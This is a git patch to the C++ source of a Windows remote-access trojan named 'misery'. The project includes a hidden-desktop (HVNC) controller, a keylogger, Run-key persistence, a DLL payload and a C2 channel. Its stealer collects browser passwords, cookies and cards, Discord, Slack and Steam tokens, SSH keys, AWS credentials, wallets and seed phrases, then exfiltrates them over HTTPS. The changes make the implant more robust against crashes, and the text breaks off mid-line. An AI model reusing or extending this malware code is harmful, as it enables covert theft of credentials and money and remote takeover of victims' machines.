From 606850d3a5d048698d4aa7281bad1f033d1dc1c8 Mon Sep 17 00:00:00 2001 From: JYenn Date: Tue, 15 Sep 2026 00:09:57 +0100 Subject: [PATCH] worker shutdown, uncaught stealer exceptions, view window on demand - stealer: list_dir() plus error_code file_size so a missing or unreadable path cannot throw out of collect_loot; read the OS build with RtlGetVersion because GetVersionEx is manifest-gated and reported 6.2; json_val delegates to json_get_string; drop the dead experimental-dir note - stealer/crypto: merge the two identical pbkdf2-hmac bodies into one helper; exfil sends the JSON directly instead of copying it - agent: wrap command dispatch in try/catch, matching the console, so a throwing command cannot kill the implant - console: open the HVNC view window only on the hvnc command, never at startup; keep the worker and view thread handles, join them, and close the agent socket before WSACleanup - hvnc/rat: join the worker until it exits before closing the handle; roll back start() when CreateThread fails - payload: free ThreadParams when CreateThread fails - cdp_client: balance WSAStartup in the destructor since close() is a mid-session reset reconnect reuses; cap WebSocket frame length; read the page type instead of matching an exact string; check AssignProcessToJobObject - http_server: deadline plus socket timeout on request reads, case-insensitive header match, validated Content-Length - gitignore: audit_build/ --- .gitignore | 1 + src/agent/main.cpp | 19 +++++++++- src/agent/persist.cpp | 2 +- src/agent/shell.cpp | 2 +- src/browser/cdp_client.cpp | 35 +++++++++++++++--- src/browser/cdp_client.hpp | 5 ++- src/console/console.cpp | 59 +++++++++++++++++++++++------- src/hvnc/hvnc.cpp | 29 +++++++++++++-- src/payload/payload.cpp | 1 + src/rat/rat.cpp | 21 ++++++++++- src/stealer/crypto_win.cpp | 22 +++++------ src/stealer/exfil.cpp | 5 +-- src/stealer/stealer.cpp | 69 ++++++++++++++++++++++------------- src/transport/http_server.cpp | 65 ++++++++++++++++++++++++++------- 14 files changed, 252 insertions(+), 83 deletions(-) diff --git a/.gitignore b/.gitignore index b061c54..61e3a2d 100644 --- a/.gitignore +++ b/.gitignore @@ -1,5 +1,6 @@ # Build artifacts build/ +audit_build/ *.exe *.o *.obj diff --git a/src/agent/main.cpp b/src/agent/main.cpp index 7debff5..9a5fb8b 100644 --- a/src/agent/main.cpp +++ b/src/agent/main.cpp @@ -41,6 +41,9 @@ using namespace hvnc; +// Defined below; forward-declared so command dispatch can log an exception. +static void dump_crash(const char* kind, unsigned code, const void* at); + static std::string g_host = OBF(HVNC_C2_HOST); static int g_port = HVNC_C2_PORT; static bool g_elevated = false; // relaunched by elevate; surfaced in REGISTER @@ -514,7 +517,13 @@ static void run_tcp_session(const SendFn& send, AgentSession& s, SOCKET sock) { Message cmd; cmd.type = (MsgType)t; cmd.body.assign(body.begin() + 4, body.end()); - handle_command(s, cmd, send); + // A command must never take the implant down: contain any thrown + // exception (resources from the stealer etc.), log, keep serving. + try { + handle_command(s, cmd, send); + } catch (...) { + dump_crash("command exception", 0, nullptr); + } } // Pending real-time output (frames, keylog), after dispatch so @@ -595,7 +604,13 @@ static void run_beacon_session(const beacon::BeaconConfig& cfg, AgentSession& s) Message cmd; cmd.type = (MsgType)t; cmd.body.assign(body.begin() + 4, body.end()); - handle_command(s, cmd, send); + // A command must never take the implant down: contain any thrown + // exception (resources from the stealer etc.), log, keep serving. + try { + handle_command(s, cmd, send); + } catch (...) { + dump_crash("command exception", 0, nullptr); + } } syscall::sleep_ms(beacon::jittered(cfg.sleep_ms)); diff --git a/src/agent/persist.cpp b/src/agent/persist.cpp index 47b1674..a3da8f9 100644 --- a/src/agent/persist.cpp +++ b/src/agent/persist.cpp @@ -1,6 +1,6 @@ // Run-key persistence (T1547.001): copy self to %APPDATA%, register HKCU Run. // Low-privilege, survives logon; deliberately minimal and documented because -// the Run key is the single most-detected persistence point -- operators get +// the Run key is the single most-detected persistence point; operators get // an honest, removable mechanism rather than a silent surprise. #include "persist.hpp" diff --git a/src/agent/shell.cpp b/src/agent/shell.cpp index 123ed7b..b9ee835 100644 --- a/src/agent/shell.cpp +++ b/src/agent/shell.cpp @@ -71,7 +71,7 @@ std::string run(const std::string& command) { char buf[4096]; DWORD deadline = GetTickCount() + kRunTimeoutMs; bool truncated = false; - // Poll loop: on child exit do not break immediately -- buffered output may + // Poll loop: on child exit do not break immediately; buffered output may // still sit in the pipe, so drain until the pipe breaks or reads 0. A fast // command can exit between two polls; without this the output is lost. while (out.size() < kOutputCap) { diff --git a/src/browser/cdp_client.cpp b/src/browser/cdp_client.cpp index 084dc17..6e09545 100644 --- a/src/browser/cdp_client.cpp +++ b/src/browser/cdp_client.cpp @@ -80,7 +80,17 @@ static bool ws_init() { return WSAStartup(MAKEWORD(2, 2), &wd) == 0; } -Client::~Client() { close(); } +Client::~Client() { + close(); + // Balance every successful WSAStartup from launch(). Done in the destructor, + // not close(): close() is also a mid-session reset (send failure / WS close + // frame) that reconnect() reuses Winsock after, so it must not tear Winsock + // down. + while (ws_refs_ > 0) { + WSACleanup(); + ws_refs_--; + } +} void Client::close() { if (sock_ != INVALID_SOCKET) { @@ -136,6 +146,7 @@ static bool read_whole_file(const std::wstring& path, std::string& out) { bool Client::launch(const std::wstring& desktop, const std::wstring& app, const std::wstring& args, const std::wstring& user_data_dir) { if (!ws_init()) return false; + ws_refs_++; launch_desktop_ = desktop; launch_app_ = app; launch_args_ = args; @@ -182,7 +193,11 @@ bool Client::launch(const std::wstring& desktop, const std::wstring& app, JOBOBJECT_EXTENDED_LIMIT_INFORMATION ji = {}; ji.BasicLimitInformation.LimitFlags = JOB_OBJECT_LIMIT_KILL_ON_JOB_CLOSE; SetInformationJobObject(h_job_, JobObjectExtendedLimitInformation, &ji, sizeof(ji)); - AssignProcessToJobObject(h_job_, pi.hProcess); + // Assignment can fail (incompatible existing job association, etc.); + // close() then falls back to TerminateProcess on the root only, and + // descendant helpers may outlive it and hold the profile lock. + if (!AssignProcessToJobObject(h_job_, pi.hProcess)) + printf("[cdp] job assignment failed; close() falls back to root TerminateProcess\n"); } h_proc_ = pi.hProcess; @@ -281,6 +296,10 @@ bool Client::ws_handshake(const std::string& host_port, const std::string& path) // --------------------------------------------------------------------------- // WebSocket framing (RFC 6455) // --------------------------------------------------------------------------- +// Cap a peer-advertised frame/message length (RFC 6455 leaves limits to the +// implementation); CDP screenshots stay far below this. +constexpr uint64_t kMaxWsBytes = 64ull * 1024 * 1024; + bool Client::send_text(const std::string& payload) { if (sock_ == INVALID_SOCKET) return false; std::vector frame; @@ -334,6 +353,8 @@ bool Client::read_frame(std::string& payload) { uint8_t mask[4] = {0}; if (masked && !recvn((char*)mask, 4)) return false; + if (len > kMaxWsBytes) return false; // oversized frame: kill the session + std::string buf((size_t)len, '\0'); if (len && !recvn(&buf[0], (size_t)len)) return false; if (masked) { @@ -357,6 +378,7 @@ bool Client::read_frame(std::string& payload) { } if (opcode == 0xA) continue; // server pong if (opcode == 0x1 || (opcode == 0x0 && started)) { + if (assembled.size() + buf.size() > kMaxWsBytes) return false; assembled += buf; started = true; if (fin) { @@ -598,7 +620,7 @@ bool Client::input_win32(uint32_t wm, uintptr_t wp, uintptr_t lp) { // Control keys (Enter, Backspace, arrows) carry no text: their default // action fires on the keyDown alone. Printable keys are inserted by the // matching WM_CHAR event that follows, so keyDown deliberately has no - // text -- putting text here AND in the char event double-inserts. + // text; putting text here AND in the char event double-inserts. std::string key, code; vk_key_code(vk, key, code); std::ostringstream p; @@ -777,7 +799,7 @@ bool Client::navigate(const std::string& url) { // The first target in /json/list with type "page" is often an extension // background page (no view surface; captureScreenshot on it never resolves). -// Pick a page target that has a real URL -- i.e. not chrome-extension://. +// Pick a page target that has a real URL, not a chrome-extension:// one. static std::string find_page_ws_url(const std::string& list) { static const char kKey[] = "\"webSocketDebuggerUrl\""; size_t pos = 0; @@ -786,7 +808,10 @@ static std::string find_page_ws_url(const std::string& list) { std::string obj = (obj_start == std::string::npos) ? list.substr(0, pos) : list.substr(obj_start, pos - obj_start); - if (obj.find("\"type\": \"page\"") != std::string::npos && + // Match the parsed value, not the formatting: the browser serializes + // "type": "page" and "type":"page" interchangeably, so an exact-string + // predicate would miss targets depending on the serializer's spacing. + if (json_get_string(obj, "type") == "page" && obj.find("chrome-extension://") == std::string::npos) { return json_get_string(list.substr(pos), "webSocketDebuggerUrl"); } diff --git a/src/browser/cdp_client.hpp b/src/browser/cdp_client.hpp index e5f1850..bb8b49e 100644 --- a/src/browser/cdp_client.hpp +++ b/src/browser/cdp_client.hpp @@ -44,7 +44,7 @@ public: // Synchronous CDP command; returns the full reply JSON. False on transport // failure; on timeout the socket stays open so the caller can retry (a - // cold software-rendered page can outlive the 12s default -- dropping the + // cold software-rendered page can outlive the 12s default; dropping the // socket over it loses the session). bool command(const std::string& method, const std::string& params, std::string& out_message, unsigned long timeout_ms = 12000); @@ -92,6 +92,9 @@ private: // Input translation state so WM_* series maps onto CDP key/mouse events. int modifiers_ = 0; int buttons_ = 0; + // WSAStartup references held by this client (one per launch); each is + // balanced with a WSACleanup in close(). + int ws_refs_ = 0; }; // Minimal JSON field extraction for the replies we control. diff --git a/src/console/console.cpp b/src/console/console.cpp index 9eccfc7..c8caaa6 100644 --- a/src/console/console.cpp +++ b/src/console/console.cpp @@ -418,8 +418,9 @@ static SOCKET g_sock = INVALID_SOCKET; static bool g_keylog_on = false; static bool g_clipswap_on = false; -// Legacy separate HVNC view window (--view). -static bool g_want_view = false; +// The hidden-desktop view window opens only on the `hvnc` command, never at +// startup; g_view_thread makes open_view() idempotent and joinable at exit. +static HANDLE g_view_thread = nullptr; // The session key lands asynchronously (socket handshake thread, or the beacon // relay on any poll) while the REPL and view threads send from their own @@ -1637,7 +1638,7 @@ static DWORD WINAPI view_thread(LPVOID) { WS_THICKFRAME | WS_MINIMIZEBOX, CW_USEDEFAULT, CW_USEDEFAULT, 900, 600, nullptr, nullptr, GetModuleHandleW(nullptr), nullptr); - if (!g_view) return 1; + if (!g_view) { g_view_thread = nullptr; return 1; } ShowWindow(g_view, SW_SHOW); MSG msg; while (GetMessageW(&msg, nullptr, 0, 0) > 0) { @@ -1649,9 +1650,17 @@ static DWORD WINAPI view_thread(LPVOID) { } } g_view = nullptr; + g_view_thread = nullptr; return 0; } +// Spawn the hidden-desktop view window on demand. No-op if it is already open +// or still being created, so the REPL command is idempotent. +static void open_view() { + if (g_view || g_view_thread) return; + g_view_thread = CreateThread(nullptr, 0, view_thread, nullptr, 0, nullptr); +} + // --------------------------------------------------------------------------- // REPL command dispatch // --------------------------------------------------------------------------- @@ -1690,7 +1699,7 @@ static const wchar_t* HELP = L" bot list bots; 'bot ' targets one, 'bot all' broadcasts\n" L" steal run credentials/cookies/cards steal\n" L" loot | dump show the last steal result as a boxed terminal dump\n" - L" hvnc start start hidden desktop session\n" + L" hvnc start start hidden desktop session (opens view window)\n" L" hvnc stop stop hidden desktop\n" L" hvnc launch [path] launch an app (default chrome) on the hidden desktop\n" L" hvnc quality [10-100] set streamed frame JPEG quality (default 90)\n" @@ -1799,6 +1808,9 @@ static bool handle_cmd(const std::wstring& line) { if (t.size() < 2) { log_err(L"usage: hvnc start | stop | launch [path] | quality [10-100]"); } else if (to_lower(t[1]) == L"start") { + // The view window is only meaningful once a session runs; open it + // here (and never at console startup) so nothing pops up on load. + open_view(); send_msg(MsgType::HVNC_START, {}); log_ok(L"hvnc start sent"); } else if (to_lower(t[1]) == L"stop") { @@ -1817,6 +1829,7 @@ static bool handle_cmd(const std::wstring& line) { log_err(L"usage: hvnc quality [10-100]"); } } else if (to_lower(t[1]) == L"launch") { + open_view(); // the launched app renders on the hidden desktop feed std::wstring path = t.size() >= 3 ? t[2] : L"C:\\Program Files\\Google\\Chrome\\Application\\chrome.exe"; @@ -1896,17 +1909,15 @@ static bool handle_cmd(const std::wstring& line) { // --------------------------------------------------------------------------- static void print_usage() { printf("misery - hvnc operator console\n" - "usage: console [--view] [--help]\n" + "usage: console [--help]\n" "\n" - " --view open the HVNC view window\n" " --help show this help\n"); } int main(int argc, char** argv) { for (int i = 1; i < argc; i++) { std::string a = argv[i]; - if (a == "--view") { g_want_view = true; } - else if (a == "--help" || a == "-h") { + if (a == "--help" || a == "-h") { print_usage(); return 0; } else { @@ -1956,11 +1967,15 @@ int main(int argc, char** argv) { g_key.assign(key::kKeyLen, 0); g_key_ready = false; - // Listener + view only make sense once configured. + // The listener starts here. The hidden-desktop view window is not opened at + // startup; the `hvnc` command opens it once a session runs. The worker + // handle is kept so shutdown can join it before WSACleanup: closing a + // handle does not terminate the thread, and Winsock calls from a live + // worker after WSACleanup are undefined. SOCKET server = INVALID_SOCKET; + HANDLE worker = nullptr; #if HVNC_TRANSPORT == 1 - if (g_want_view) CreateThread(nullptr, 0, view_thread, nullptr, 0, nullptr); - CreateThread(nullptr, 0, http_relay_thread, nullptr, 0, nullptr); + worker = CreateThread(nullptr, 0, http_relay_thread, nullptr, 0, nullptr); #else server = socket(AF_INET, SOCK_STREAM, 0); sockaddr_in addr{}; @@ -1972,8 +1987,7 @@ int main(int argc, char** argv) { log_err(L"bind/listen failed"); return 1; } - if (g_want_view) CreateThread(nullptr, 0, view_thread, nullptr, 0, nullptr); - CreateThread(nullptr, 0, accept_thread, (LPVOID)(uintptr_t)server, 0, nullptr); + worker = CreateThread(nullptr, 0, accept_thread, (LPVOID)(uintptr_t)server, 0, nullptr); #endif print_banner(); @@ -1998,10 +2012,29 @@ int main(int argc, char** argv) { #if HVNC_TRANSPORT == 1 httpsrv::stop(); #else + // Close the listener first so accept_thread cannot take a new connection, + // then the active agent socket so socket_thread's blocked recv returns; + // without the latter accept_thread never finishes its INFINITE join. closesocket(server); + if (g_sock != INVALID_SOCKET) { + closesocket(g_sock); + g_sock = INVALID_SOCKET; + } #endif history_save(); if (g_view) PostMessageW(g_view, WM_CLOSE, 0, 0); + // Join the worker and the view window before WSACleanup: Winsock calls + // after WSACleanup are undefined, and the accept/socket/relay threads sit + // in recv until the shutdown signals above land. + if (worker) { + WaitForSingleObject(worker, 6000); + CloseHandle(worker); + } + if (g_view_thread) { + WaitForSingleObject(g_view_thread, 6000); + CloseHandle(g_view_thread); + g_view_thread = nullptr; + } WSACleanup(); return 0; } \ No newline at end of file diff --git a/src/hvnc/hvnc.cpp b/src/hvnc/hvnc.cpp index b070e81..4020aa4 100644 --- a/src/hvnc/hvnc.cpp +++ b/src/hvnc/hvnc.cpp @@ -116,6 +116,15 @@ bool HvncSession::start() { input_head_ = 0; input_tail_ = 0; input_thread_ = CreateThread(nullptr, 0, &HvncSession::input_proc, this, 0, nullptr); + if (!input_thread_) { + // No input worker: the session would capture a desktop nobody can + // drive. Roll back the desktop + job so a later start() retries clean + // instead of reporting a running session with no input delivery. + if (hjob_) { CloseHandle(hjob_); hjob_ = nullptr; } + if (hdesk_) { CloseDesktop(hdesk_); hdesk_ = nullptr; } + LeaveCriticalSection(&lock_); + return false; + } running_ = true; LeaveCriticalSection(&lock_); @@ -132,7 +141,19 @@ void HvncSession::stop() { InterlockedExchange(&input_quit_, 1); if (input_event_) SetEvent(input_event_); if (input_thread_) { - WaitForSingleObject(input_thread_, 5000); + // The input thread re-checks the quit flag at least every 40ms and only + // blocks in bounded calls, so it exits promptly once signaled. Only + // close the handle after it really has: closing a live handle does not + // terminate the worker, and the teardown below frees state (desktop, + // canvas, members) it would still read. + DWORD wr = WaitForSingleObject(input_thread_, 5000); + if (wr == WAIT_TIMEOUT) { + // Genuinely wedged (not expected): terminate explicitly so teardown + // is safe. The worker never takes the session lock, so terminating + // it cannot abandon a critical section. + TerminateThread(input_thread_, 0); + WaitForSingleObject(input_thread_, 1000); + } CloseHandle(input_thread_); input_thread_ = nullptr; } @@ -185,7 +206,8 @@ bool HvncSession::launch(const std::wstring& app, const std::wstring& args, cons if (h) { // Descendants spawned after the root joins the job are in it // automatically, so the whole tree dies with the session. - if (hjob_) AssignProcessToJobObject(hjob_, h); + if (hjob_ && !AssignProcessToJobObject(hjob_, h)) + printf("[hvnc] job assignment failed; process reaped by procs_ fallback\n"); procs_.push_back(h); } ok = true; @@ -202,7 +224,8 @@ bool HvncSession::launch_browser(const std::wstring& app, const std::wstring& ar HANDLE h = nullptr; if (launch_browser_on_desktop(desktop_name_, app, args, dir, &h)) { if (h) { - if (hjob_) AssignProcessToJobObject(hjob_, h); + if (hjob_ && !AssignProcessToJobObject(hjob_, h)) + printf("[hvnc] job assignment failed; process reaped by procs_ fallback\n"); procs_.push_back(h); } ok = true; diff --git a/src/payload/payload.cpp b/src/payload/payload.cpp index 3b15a1d..3f5ed61 100644 --- a/src/payload/payload.cpp +++ b/src/payload/payload.cpp @@ -159,6 +159,7 @@ BOOL APIENTRY DllMain(HMODULE hModule, DWORD reason, LPVOID lpReserved) { auto params = new ThreadParams{hModule, lpReserved}; HANDLE hThread = CreateThread(NULL, 0, PayloadThread, params, 0, NULL); if (hThread) CloseHandle(hThread); + else delete params; // thread never took ownership on failure } return TRUE; } diff --git a/src/rat/rat.cpp b/src/rat/rat.cpp index e5482b2..55e8083 100644 --- a/src/rat/rat.cpp +++ b/src/rat/rat.cpp @@ -24,16 +24,33 @@ Keylogger::~Keylogger() { stop(); DeleteCriticalSection(&lock_); } bool Keylogger::start() { if (running_.load()) return true; + // running_ is set before the worker starts (the worker gates on it) but + // rolled back on failure, so a failed start never leaves the object in a + // running state that a later start() would trust. running_.store(true); thread_ = CreateThread(nullptr, 0, thread_proc, this, 0, nullptr); - return thread_ != nullptr; + if (!thread_) { + running_.store(false); + return false; + } + return true; } void Keylogger::stop() { if (!running_.load()) return; running_.store(false); if (thread_) { - WaitForSingleObject(thread_, 1000); + // The worker re-checks running_ every ~10ms, so it exits within one + // loop pass. Only close the handle after it really has: closing a live + // handle does not terminate the worker, and the destructor frees the + // members (buffer_, lock_) it would still touch. + DWORD wr = WaitForSingleObject(thread_, 2000); + if (wr == WAIT_TIMEOUT) { + // Unreachable in practice (the loop exits in well under a second). + // Terminate explicitly; the worker holds lock_ only inside push(). + TerminateThread(thread_, 0); + WaitForSingleObject(thread_, 1000); + } CloseHandle(thread_); thread_ = nullptr; } diff --git a/src/stealer/crypto_win.cpp b/src/stealer/crypto_win.cpp index 71541ba..d2fddb3 100644 --- a/src/stealer/crypto_win.cpp +++ b/src/stealer/crypto_win.cpp @@ -73,9 +73,11 @@ std::vector md5(const std::vector& data) { return bcrypt_hash(BCRYPT_MD5_ALGORITHM, data.data(), data.size()); } -std::vector pbkdf2_hmac_sha512(const std::vector& password, const std::vector& salt, uint32_t iterations, size_t dk_len) { +static std::vector pbkdf2_hmac(LPCWSTR algorithm, const std::vector& password, + const std::vector& salt, uint32_t iterations, + size_t dk_len) { BCRYPT_ALG_HANDLE hAlg = NULL; - if (BCryptOpenAlgorithmProvider(&hAlg, BCRYPT_SHA512_ALGORITHM, NULL, BCRYPT_ALG_HANDLE_HMAC_FLAG) != 0) return {}; + if (BCryptOpenAlgorithmProvider(&hAlg, algorithm, NULL, BCRYPT_ALG_HANDLE_HMAC_FLAG) != 0) return {}; std::vector out(dk_len); NTSTATUS status = BCryptDeriveKeyPBKDF2(hAlg, (PUCHAR)password.data(), (ULONG)password.size(), @@ -87,18 +89,12 @@ std::vector pbkdf2_hmac_sha512(const std::vector& password, co return out; } +std::vector pbkdf2_hmac_sha512(const std::vector& password, const std::vector& salt, uint32_t iterations, size_t dk_len) { + return pbkdf2_hmac(BCRYPT_SHA512_ALGORITHM, password, salt, iterations, dk_len); +} + std::vector pbkdf2_hmac_sha1(const std::vector& password, const std::vector& salt, uint32_t iterations, size_t dk_len) { - BCRYPT_ALG_HANDLE hAlg = NULL; - if (BCryptOpenAlgorithmProvider(&hAlg, BCRYPT_SHA1_ALGORITHM, NULL, BCRYPT_ALG_HANDLE_HMAC_FLAG) != 0) return {}; - - std::vector out(dk_len); - NTSTATUS status = BCryptDeriveKeyPBKDF2(hAlg, (PUCHAR)password.data(), (ULONG)password.size(), - (PUCHAR)salt.data(), (ULONG)salt.size(), - iterations, out.data(), (ULONG)out.size(), 0); - - BCryptCloseAlgorithmProvider(hAlg, 0); - if (status != 0) return {}; - return out; + return pbkdf2_hmac(BCRYPT_SHA1_ALGORITHM, password, salt, iterations, dk_len); } // AES-256-CBC with PKCS7 padding stripped (mRemoteNG < 1.75). diff --git a/src/stealer/exfil.cpp b/src/stealer/exfil.cpp index 6492aec..1411cef 100644 --- a/src/stealer/exfil.cpp +++ b/src/stealer/exfil.cpp @@ -55,11 +55,10 @@ bool exfil_https(const std::string& json_data, const std::string& endpoint_url) const wchar_t* headers = L"Content-Type: application/json\r\n"; WinHttpAddRequestHeaders(hRequest, headers, (DWORD)-1, WINHTTP_ADDREQ_FLAG_ADD); - std::string send_data = json_data; BOOL result = WinHttpSendRequest(hRequest, WINHTTP_NO_ADDITIONAL_HEADERS, 0, - (LPVOID)send_data.c_str(), (DWORD)send_data.size(), - (DWORD)send_data.size(), 0); + (LPVOID)json_data.data(), (DWORD)json_data.size(), + (DWORD)json_data.size(), 0); if (result) { result = WinHttpReceiveResponse(hRequest, NULL); diff --git a/src/stealer/stealer.cpp b/src/stealer/stealer.cpp index c17a717..8f66ecf 100644 --- a/src/stealer/stealer.cpp +++ b/src/stealer/stealer.cpp @@ -20,6 +20,25 @@ namespace fs = std::filesystem; +// GetVersionEx is manifest-gated on Windows 8.1+ and reports the Windows 8 +// version (6.2) for any image without a supportedOS manifest entry, so the +// reported OS was always wrong. RtlGetVersion (ntdll) is not gated. +// OSVERSIONINFOEXW is used (not RTL_OSVERSIONINFOEXW) so the declaration +// resolves under both MSVC and MinGW; the layouts are identical. +extern "C" NTSTATUS NTAPI RtlGetVersion(OSVERSIONINFOEXW*); + +// Non-throwing single-level directory listing. The range-for over +// fs::directory_iterator throws filesystem_error when the path is missing or +// unreadable, and an exception here escapes to the agent top level and kills +// it (uncaught 0xE06D7363). Returns an empty list on any OS error instead. +static std::vector list_dir(const std::wstring& dir) { + std::vector out; + std::error_code ec; + for (fs::directory_iterator it(dir, ec), end; !ec && it != end; it.increment(ec)) + out.push_back(*it); + return out; +} + void gather_browser_paths(std::vector& paths) { PWSTR local_path = nullptr, roaming_path = nullptr; std::wstring local, roaming; @@ -58,7 +77,7 @@ void gather_browser_paths(std::vector& paths) { if (!fs::exists(profile_base)) { // Find an available profile. bool found = false; - for (auto& entry : fs::directory_iterator(ch.path)) { + for (auto& entry : list_dir(ch.path)) { if (entry.is_directory()) { auto pname = entry.path().filename().wstring(); if (pname == L"Default" || pname.find(L"Profile") == 0) { @@ -83,7 +102,7 @@ void gather_browser_paths(std::vector& paths) { paths.push_back(bp); // Additional profiles - for (auto& entry : fs::directory_iterator(ch.path)) { + for (auto& entry : list_dir(ch.path)) { if (entry.is_directory()) { auto pname = entry.path().filename().wstring(); if (pname != L"Default" && pname.find(L"Profile") == 0) { @@ -109,7 +128,7 @@ void gather_browser_paths(std::vector& paths) { for (auto& ff : firefoxes) { if (!fs::exists(ff.path)) continue; - for (auto& entry : fs::directory_iterator(ff.path)) { + for (auto& entry : list_dir(ff.path)) { if (!entry.is_directory()) continue; auto pname = entry.path().filename().wstring(); if (pname.find(L".") == std::string::npos) continue; @@ -537,7 +556,7 @@ std::vector steal_discord() { std::wstring ldb_path = base + L"\\Local Storage\\leveldb"; if (!fs::exists(ldb_path)) continue; - for (auto& entry : fs::directory_iterator(ldb_path)) { + for (auto& entry : list_dir(ldb_path)) { if (entry.path().extension() != L".ldb" && entry.path().extension() != L".log") continue; std::ifstream f(entry.path(), std::ios::binary); if (!f) continue; @@ -785,7 +804,7 @@ SteamInfo steal_steam() { // Look for SSFN files with a decimal account ID suffix. fs::path steam_dir = fs::path(p).parent_path(); - for (auto& entry : fs::directory_iterator(steam_dir)) { + for (auto& entry : list_dir(steam_dir)) { auto fn = entry.path().filename().string(); if (fn.size() >= 6 && fn.substr(0, 4) == "ssfn" && std::all_of(fn.begin() + 4, fn.end(), [](unsigned char c) { return std::isdigit(c); })) { @@ -836,7 +855,7 @@ std::string steal_ssh_keys() { fs::path ssh_dir = fs::path(home) / ".ssh"; if (!fs::exists(ssh_dir)) return result; - for (auto& entry : fs::directory_iterator(ssh_dir)) { + for (auto& entry : list_dir(ssh_dir)) { if (entry.is_regular_file() && entry.path().filename().string().find("id_") == 0) { std::ifstream f(entry.path()); if (!f) continue; @@ -861,7 +880,7 @@ std::string steal_aws_creds() { if (!fs::exists(aws_dir)) return ""; std::string result; - for (auto& entry : fs::directory_iterator(aws_dir)) { + for (auto& entry : list_dir(aws_dir)) { if (!entry.is_regular_file()) continue; std::ifstream f(entry.path()); result += entry.path().filename().string() + ":\n"; @@ -877,7 +896,7 @@ std::string steal_slack_tokens() { std::wstring slack_ldb = std::wstring(roaming) + L"\\Slack\\Local Storage\\leveldb"; if (!fs::exists(slack_ldb)) return result; - for (auto& entry : fs::directory_iterator(slack_ldb)) { + for (auto& entry : list_dir(slack_ldb)) { if (entry.path().extension() != L".ldb" && entry.path().extension() != L".log") continue; std::ifstream f(entry.path(), std::ios::binary); if (!f) continue; @@ -898,9 +917,11 @@ std::string steal_signal_data() { if (!fs::exists(signal_dir)) return ""; std::string result; - for (auto& entry : fs::directory_iterator(signal_dir)) { + for (auto& entry : list_dir(signal_dir)) { + std::error_code fec; + auto sz = entry.is_directory() ? 0 : fs::file_size(entry.path(), fec); result += wide_to_utf8(entry.path().filename().wstring()) + " (" + - std::to_string(entry.is_directory() ? 0 : fs::file_size(entry.path())) + " bytes)\n"; + std::to_string(fec ? 0 : sz) + " bytes)\n"; } return result; } @@ -943,7 +964,7 @@ std::vector steal_wallets(const BrowserPath& bp) { fs::path user_data = bp.user_data; for (auto& w : wallets) { // Check every profile for extension data. - for (auto& entry : fs::directory_iterator(user_data)) { + for (auto& entry : list_dir(user_data)) { if (!entry.is_directory()) continue; fs::path ext_path = entry.path() / "Local Extension Settings" / w.ext_id; if (!fs::exists(ext_path)) { @@ -967,12 +988,13 @@ SystemInfo gather_system_info() { si.username = get_user_name(); si.ip = get_ip(); - // Operating-system version + // Operating-system version (manifest-free; see RtlGetVersion decl above). OSVERSIONINFOEXW osvi{}; osvi.dwOSVersionInfoSize = sizeof(osvi); - GetVersionExW((LPOSVERSIONINFOW)&osvi); + if (RtlGetVersion(&osvi) != 0) osvi.dwMajorVersion = osvi.dwMinorVersion = osvi.dwBuildNumber = 0; char osbuf[64]; - snprintf(osbuf, sizeof(osbuf), "%lu.%lu.%lu", osvi.dwMajorVersion, osvi.dwMinorVersion, osvi.dwBuildNumber); + snprintf(osbuf, sizeof(osbuf), "%lu.%lu.%lu", (unsigned long)osvi.dwMajorVersion, + (unsigned long)osvi.dwMinorVersion, (unsigned long)osvi.dwBuildNumber); si.os_version = osbuf; // Architecture @@ -1038,14 +1060,16 @@ std::string steal_file_finder() { fs::path dir(dir_str); if (!fs::exists(dir)) continue; int found = 0; - for (auto& entry : fs::directory_iterator(dir)) { + for (auto& entry : list_dir(dir)) { if (found >= max_files) break; if (entry.is_directory()) continue; std::string fname = entry.path().filename().string(); for (auto& c : fname) c = (char)tolower((unsigned char)c); for (int k = 0; k < kw_count; k++) { if (fname.find(keywords[k]) != std::string::npos) { - result += entry.path().string() + " (" + std::to_string(fs::file_size(entry.path())) + " bytes)\n"; + std::error_code fec; + auto sz = fs::file_size(entry.path(), fec); + result += entry.path().string() + " (" + std::to_string(fec ? 0 : sz) + " bytes)\n"; found++; break; } @@ -2238,13 +2262,9 @@ std::string seed_finder_harvest() { // Pull a "key":"value" string out of a JSON blob; empty when absent. static std::string json_val(const std::string& data, const char* key) { - std::string pat = "\"" + std::string(key) + "\":\""; - size_t p = data.find(pat); - if (p == std::string::npos) return ""; - p += pat.size(); - size_t e = data.find('"', p); - if (e == std::string::npos) return ""; - return data.substr(p, e - p); + std::string v; + json_get_string(data, key, v); + return v; } // Steam Guard mobile-authenticator files (.maFile). Plaintext JSON by default @@ -2550,8 +2570,7 @@ StealKey acquire_browser_key(const std::optional& cfg, // Chrome 127+ app-bound key. The payload runs inside the browser, so the // COM IElevator decrypt passes its process-path check; the offline agent - // falls through to the DPAPI v10 key. The proven flow. The fork+APC - // experiment sits out of the build in src/stealer/experimental. + // falls through to the DPAPI v10 key. The proven flow. const std::string key_name = "\"app_bound_encrypted_key\""; size_t pos = ls.find(key_name); if (pos != std::string::npos) { diff --git a/src/transport/http_server.cpp b/src/transport/http_server.cpp index 3aca085..034d546 100644 --- a/src/transport/http_server.cpp +++ b/src/transport/http_server.cpp @@ -6,6 +6,7 @@ #include #include #include +#include #include #include #include @@ -20,10 +21,19 @@ namespace { volatile LONG g_stop = 0; -bool recv_all(SOCKET s, std::vector& buf, size_t total) { +// One recv bounded by both the socket timeout and an absolute per-request +// deadline, so a client trickling bytes cannot hold the relay loop forever. +bool recv_byte(SOCKET s, char& b, uint32_t deadline_ms) { + if (GetTickCount() > deadline_ms) return false; + int n = recv(s, &b, 1, 0); + return n == 1; +} + +bool recv_all(SOCKET s, std::vector& buf, size_t total, uint32_t deadline_ms) { buf.clear(); buf.reserve(total); while (buf.size() < total) { + if (GetTickCount() > deadline_ms) return false; char tmp[8192]; int want = (int)std::min(sizeof(tmp), total - buf.size()); int n = recv(s, tmp, want, 0); @@ -38,12 +48,15 @@ bool recv_all(SOCKET s, std::vector& buf, size_t total) { // request bodies, so cloudflared can deliver them chunked; a naive // Content-Length-only parse would mis-frame those as empty and 400 them. bool read_request(SOCKET s, std::vector& body) { + // Absolute deadline bounds the whole request. Normal requests finish in + // well under a second; without it a client that stalls forever (or just + // trickles within each per-recv timeout) occupies the serving loop. + uint32_t deadline = GetTickCount() + 5000; std::vector head; head.reserve(4096); while (head.size() < 16 * 1024) { char b = 0; - int n = recv(s, &b, 1, 0); - if (n <= 0) return false; + if (!recv_byte(s, b, deadline)) return false; head.push_back((uint8_t)b); const char* marker = "\r\n\r\n"; if (head.size() >= 4 && memcmp(head.data() + 